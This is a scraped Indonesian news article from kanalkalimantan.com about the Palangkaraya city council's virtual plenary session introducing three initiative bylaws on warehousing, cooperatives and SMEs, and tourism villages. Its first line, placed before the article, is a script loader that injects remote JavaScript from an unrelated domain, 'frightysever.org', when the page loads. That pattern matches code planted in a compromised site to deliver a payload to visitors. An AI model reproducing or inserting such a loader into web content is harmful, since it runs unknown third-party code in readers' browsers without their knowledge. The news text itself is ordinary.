(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,PALANGKARAYA – DPRD Kota Palangkaraya menggelar Rapat Paripurna ke-4 dalam masa persidangan I Tahun Sidang 2023/2024 secara virtual pada Kamis (31/8/23).
Wakil Ketua II DPRD Kota Palangkaraya, Basirun B. Sahepar, menjadi juru bicara dalam menyampaikan pidato pengantar atas 3 buah Rancangan Peraturan Daerah (Raperda) Inisiatif yang menjadi fokus pembahasan.
Dalam penyampaiannya, Basirun mengungkapkan bahwa dalam proses pembentukan peraturan daerah inisiatif, DPRD Kota Palangkaraya berpegang pada tiga landasan utama yang sangat penting.
“Pertama, landasan filosofis, yaitu pertimbangan yang mencerminkan bahwa peraturan yang diusulkan harus mencerminkan pandangan hidup, kesadaran, dan cita-cita hukum. Kedua, landasan sosiologis, yaitu dasar yang menggambarkan bahwa peraturan yang diajukan harus memenuhi kebutuhan masyarakat, pelaku usaha, dan pemerintah daerah dalam berbagai aspek. Ketiga, landasan yuridis, yaitu dasar yang menunjukkan bahwa peraturan perundang-undangan dibentuk untuk mengatasi permasalahan hukum atau mengisi kekosongan hukum dengan memperhatikan aturan yang sudah ada, yang akan diubah, atau dicabut untuk menjamin kepastian hukum dan rasa keadilan,” jelasnya.
Lebih lanjut, Basirun menjelaskan tentang tiga Raperda yang diinisiasi oleh DPRD Kota Palangkaraya. Pertama, Raperda tentang Pengawasan dan Pembinaan Pergudangan, yang bertujuan untuk menciptakan kepastian berusaha dan mendorong kelancaran distribusi barang yang diperdagangkan.
Kemudian, Raperda tentang Penyelenggaraan Koperasi dan Usaha Mikro, Kecil dan Menengah (UMKM), yang diusulkan untuk memberikan kerangka hukum yang kuat bagi koperasi dan UMKM dalam mendukung perekonomian daerah.
Terakhir, Raperda tentang Desa Wisata dan Kampung Wisata, yang bertujuan untuk mengembangkan potensi pariwisata daerah dengan memberikan kerangka hukum yang jelas bagi pengembangan destinasi pariwisata di Kota Palangkaraya.
“Tujuan utama pembentukan Peraturan Daerah ini adalah untuk memberikan kepastian hukum kepada pemilik atau penyewa gudang dalam menjalankan usahanya dan untuk menciptakan ketertiban dalam niaga,” tambahnya.
Rapat Paripurna virtual ini menunjukkan komitmen DPRD Kota Palangkaraya dalam menjalankan tugas legislatifnya, bahkan dalam situasi yang memerlukan adaptasi seperti ini. Proses perumusan dan pembahasan Raperda ini akan terus berlanjut, dengan harapan hasilnya akan memberikan manfaat yang signifikan bagi warga Kota Palangkaraya.(www.kanalkalimantan.com/rdy).
Reporter : rdy
Editor : kk
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.